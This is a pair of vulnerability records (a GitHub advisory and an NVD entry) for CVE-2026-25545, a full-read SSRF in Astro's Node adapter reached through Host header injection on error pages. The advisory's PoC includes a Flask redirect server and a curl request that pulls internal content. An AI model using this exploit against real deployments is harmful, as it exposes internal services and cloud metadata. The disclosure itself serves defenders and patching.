{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@astrojs/node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25545"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-23T21:54:32Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nServer-Side Rendered pages that return an error with a prerendered custom error page (eg. `404.astro` or `500.astro`) are vulnerable to SSRF. If the `Host:` header is changed to an attacker\u0027s server, it will be fetched on `/500.html` and they can redirect this to any internal URL to read the response body through the first request.\n\n### Details\n\nThe following line of code fetches `statusURL` and returns the response back to the client:\n\nhttps://github.com/withastro/astro/blob/bf0b4bfc7439ddc565f61a62037880e4e701eb05/packages/astro/src/core/app/base.ts#L534\n\n`statusURL` comes from `this.baseWithoutTrailingSlash`, which [is built from the `Host:` header](https://github.com/withastro/astro/blob/e5e3208ee5041ad9cccd479c29a34bf6183a6505/packages/astro/src/core/app/node.ts#L81). `prerenderedErrorPageFetch()` is just `fetch()`, and **follows redirects**. This makes it possible for an attacker to set the `Host:` header to their server (eg. `Host: attacker.tld`), and if the server still receives the request without normalization, Astro will now fetch `http://attacker.tld/500.html`.\n\nThe attacker can then redirect this request to http://localhost:8000/ssrf.txt, for example, to fetch any locally listening service. The response code is not checked, because as the comment in the code explains, this fetch may give a 200 OK. The body and headers are returned back to the attacker.\n\nLooking at the vulnerable code, the way to reach this is if the `renderError()` function is called (error response during SSR) and the error page is prerendered (custom `500.astro` error page). The PoC below shows how a basic project with these requirements can be set up.\n\n**Note**: Another common vulnerable pattern for `404.astro` we saw is:\n\n```astro\nreturn new Response(null, {status: 404});\n```\n\nAlso, it does not matter what `allowedDomains` is set to, since it only checks the `X-Forwarded-Host:` header.\n\nhttps://github.com/withastro/astro/blob/9e16d63cdd2537c406e50d005b389ac115755e8e/packages/astro/src/core/app/base.ts#L146\n\n### PoC\n\n1. Create a new empty project\n\n```bash\nnpm create astro@latest poc -- --template minimal --install --no-git --yes\n```\n\n2. Create `poc/src/pages/error.astro` which throws an error with SSR:\n\n```astro\n---\nexport const prerender = false;\n\nthrow new Error(\"Test\")\n---\n```\n\n3. Create `poc/src/pages/500.astro` with any content like:\n\n```astro\n\u003cp\u003e500 Internal Server Error\u003c/p\u003e\n```\n\n4. Build and run the app\n\n```bash\ncd poc\nnpx astro add node --yes\nnpm run build \u0026\u0026 npm run preview\n```\n\n5. Set up an \"internal server\" which we will SSRF to. Create a file called `ssrf.txt` and host it locally on http://localhost:8000:\n\n```bash\ncd $(mktemp -d)\necho \"SECRET CONTENT\" \u003e ssrf.txt\npython3 -m http.server\n```\n\n6. Set up attacker\u0027s server with exploit code and run it, so that its server becomes available on http://localhost:5000:\n\n```python\n# pip install Flask\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route(\"/500.html\")\ndef exploit():\n    return redirect(\"http://127.0.0.1:8000/ssrf.txt\")\n\nif __name__ == \"__main__\":\n    app.run()\n```\n\n7. Send the following request to the server, and notice the 500 error returns \"SECRET CONTENT\".\n\n```shell\n$ curl -i http://localhost:4321/error -H \u0027Host: localhost:5000\u0027\nHTTP/1.1 500 OK\ncontent-type: text/plain\ndate: Tue, 03 Feb 2026 09:51:28 GMT\nlast-modified: Tue, 03 Feb 2026 09:51:09 GMT\nserver: SimpleHTTP/0.6 Python/3.12.3\nConnection: keep-alive\nKeep-Alive: timeout=5\nTransfer-Encoding: chunked\n\nSECRET CONTENT\n```\n\n### Impact\n\nAn attacker who can access the application without `Host:` header validation (eg. through finding the origin IP behind a proxy, or just by default) can fetch their own server to redirect to any internal IP. With this they can fetch cloud metadata IPs and interact with services in the internal network or localhost.\n\nFor this to be vulnerable, [a common feature](https://docs.astro.build/en/basics/astro-pages/#custom-500-error-page) needs to be used, with direct access to the server (no proxies).",
  "id": "GHSA-qq67-mvv5-fw3g",
  "modified": "2026-02-23T21:54:32Z",
  "published": "2026-02-23T21:54:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-qq67-mvv5-fw3g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/releases/tag/%40astrojs%2Fnode%409.5.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Astro has Full-Read SSRF in error rendering via Host: header injection"
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Astro is a web framework. Prior to version 9.5.4, Server-Side Rendered pages that return an error with a prerendered custom error page (eg. `404.astro` or `500.astro`) are vulnerable to SSRF. If the `Host:` header is changed to an attacker\u0027s server, it will be fetched on `/500.html` and they can redirect this to any internal URL to read the response body through the first request. An attacker who can access the application without `Host:` header validation (eg. through finding the origin IP behind a proxy, or just by default) can fetch their own server to redirect to any internal IP. With this they can fetch cloud metadata IPs and interact with services in the internal network or localhost. For this to be vulnerable, a common feature needs to be used, with direct access to the server (no proxies). Version 9.5.4 fixes the issue."
    }
  ],
  "id": "CVE-2026-25545",
  "lastModified": "2026-02-24T14:13:49.320",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "HIGH",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.9,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "LOW",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-24T01:16:13.087",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/withastro/astro/releases/tag/%40astrojs%2Fnode%409.5.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-qq67-mvv5-fw3g"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}